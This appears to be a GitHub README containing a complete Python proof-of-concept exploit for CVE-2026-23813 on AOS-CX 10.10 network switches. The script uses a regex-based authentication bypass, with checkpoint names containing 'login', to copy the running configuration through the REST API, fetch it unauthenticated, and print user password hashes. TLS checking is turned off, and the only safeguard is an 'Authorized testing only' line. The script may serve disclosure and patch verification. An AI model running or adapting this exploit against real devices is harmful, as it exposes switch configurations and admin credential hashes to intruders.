README.md
Rendering markdown...
#!/usr/bin/env python3
"""CVE-2026-23813 — AOS-CX 10.10 unauth config disclosure.
Uses the nginx-regex bypass to create a checkpoint and read the full
running configuration without authentication, exposing the admin
credential hash.
Authorized testing only.
"""
import argparse
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main():
p = argparse.ArgumentParser(description=__doc__)
p.add_argument("target", help="host or host:port")
p.add_argument("--name", default="loginpoc",
help="checkpoint name (must contain 'login' for the bypass)")
args = p.parse_args()
if "login" not in args.name:
print("[-] checkpoint name must contain 'login' for the bypass to work",
file=sys.stderr)
sys.exit(2)
base = f"https://{args.target}"
s = requests.Session()
s.verify = False
# 1. Create a checkpoint of the running config.
r = s.post(f"{base}/rest/v1/config/copy/running-config/{args.name}",
timeout=10)
if r.status_code == 200:
print(f"[+] checkpoint {args.name!r} created")
elif r.status_code == 400 and "already exists" in r.text:
print(f"[*] checkpoint {args.name!r} already exists — reading")
else:
print(f"[-] checkpoint create failed (HTTP {r.status_code})")
print(" bypass may be patched, or try /rest/v10.xx/... on a newer branch")
sys.exit(1)
# 2. Read the checkpoint back as JSON.
r = s.get(f"{base}/rest/v1/fullconfigs/{args.name}", timeout=10)
if r.status_code != 200:
print(f"[-] config read failed (HTTP {r.status_code})")
sys.exit(1)
config = r.json()
users = config.get("User", {})
if not users:
print("[-] no User table in returned config")
for user, data in users.items():
pw = data.get("password", "")
suffix = "..." if len(pw) > 60 else ""
print(f"[+] {user}: {pw[:60]}{suffix}")
print("[+] full config extracted without authentication")
if __name__ == "__main__":
main()